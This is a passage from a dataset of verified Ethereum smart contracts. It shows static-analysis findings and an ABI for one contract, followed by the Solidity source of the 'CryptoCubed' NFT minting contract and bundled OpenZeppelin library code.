271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [64, 65, 66, 67, 68, 58, 59, 60, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [181, 182, 183, 184, 185, 186, 187]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [256, 257, 258, 259, 260, 251, 252, 253, 254, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [241, 242, 243]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [576, 577, 578]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [216, 214, 215]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [688, 686, 687]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [162, 163, 164, 165, 166, 167, 168]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [829, 830, 831]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [224, 225, 226, 227, 228, 229, 230, 231, 232, 233]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [152, 153, 154]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MyFirstHookah.sol": [667, 668, 669]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MyFirstHookah.sol": [1061, 1062, 1063]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MyFirstHookah.sol": [745, 746, 747, 748, 749, 750, 751]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MyFirstHookah.sol": [736, 737, 738, 739, 740, 731, 732, 733, 734, 735]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MyFirstHookah.sol": [693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MyFirstHookah.sol": [1072, 1069, 1070, 1071]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MyFirstHookah.sol": [660, 661, 662]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MyFirstHookah.sol": [643, 644, 645, 646]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MyFirstHookah.sol": [1128, 1129, 1127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MyFirstHookah.sol": [1112, 1113, 1111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MyFirstHookah.sol": [1115, 1116, 1117, 1118]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MyFirstHookah.sol": [717, 718, 719]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [6]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [1088]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [530]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [354]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [559]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [76]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [586]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [326]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [1012]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [385]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [296]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [258]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [130]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [204]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [231]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [1111]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [760]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [1096]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"MyFirstHookah.sol": [977]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"MyFirstHookah.sol": [971]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"MyFirstHookah.sol": [973]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 63, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 844, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 865, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 886, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 889, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 919, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1062, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 1092, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1111, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 76, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 296, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 326, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 354, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 385, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 530, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 559, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 586, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1012, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1088, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 12, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 605, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 608, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 611, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 614, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 617, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 620, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1028, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 973, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 99, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 576, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 976, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 625, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1035, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1103, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 128, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 128, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 128, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 128, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 130, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 130, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 130, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"baseTokenURI","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MINT_PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"URI","type":"string"}],"name":"setBaseTokenURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.11+commit.d7f03943 | true | 200 | 00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d653659514274524e37347732465868355052644344616f4261414e4e416f664e7544626663674468337277662f00000000000000000000 | Default | Unlicense | false | ipfs://77c92d4d96386c37d84b415a084759af1037d15be94f1fe7780ed9f0542da771 |
||
CryptoCubed | 0xe4f964c89c741012913529d602ca246959308fe6 | Solidity | // File: contracts/CryptoCubed.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
contract CryptoCubed is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint public constant MAX_SUPPLY = 10001;
uint public constant PRICE = 0.05 ether;
uint public constant MAX_PER_MINT = 10001;
string public baseTokenURI;
constructor(string memory baseURI) ERC721("CryptoCubed", "CC3") {
setBaseURI(baseURI);
}
function reserveNFTs() public onlyOwner {
uint totalMinted = _tokenIds.current();
require(totalMinted.add(10) < MAX_SUPPLY, "Not enough NFTs left to reserve");
for (uint i = 0; i < 1; i++) {
_mintSingleNFT();
}
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
baseTokenURI = _baseTokenURI;
}
function mintNFTs(uint _count) public payable {
uint totalMinted = _tokenIds.current();
require(totalMinted.add(_count) <= MAX_SUPPLY, "Not enough NFTs left!");
require(_count >0 && _count <= MAX_PER_MINT, "Cannot mint specified number of NFTs.");
require(msg.value >= PRICE.mul(_count), "Not enough ether to purchase NFTs.");
for (uint i = 0; i < _count; i++) {
_mintSingleNFT();
}
}
function _mintSingleNFT() private {
uint newTokenID = _tokenIds.current();
_safeMint(msg.sender, newTokenID);
_tokenIds.increment();
}
function tokensOfOwner(address _owner) external view returns (uint[] memory) {
uint tokenCount = balanceOf(_owner);
uint[] memory tokensId = new uint256[](tokenCount);
for (uint i = 0; i < tokenCount; i++) {
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
function withdraw() public payable onlyOwner {
uint balance = address(this).balance;
require(balance > 0, "No ether left to withdraw");
(bool success, ) = (msg.sender).call{value: balance}("");
require(success, "Transfer failed.");
}
}
// File: @openzeppelin/contracts/utils/Counters.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
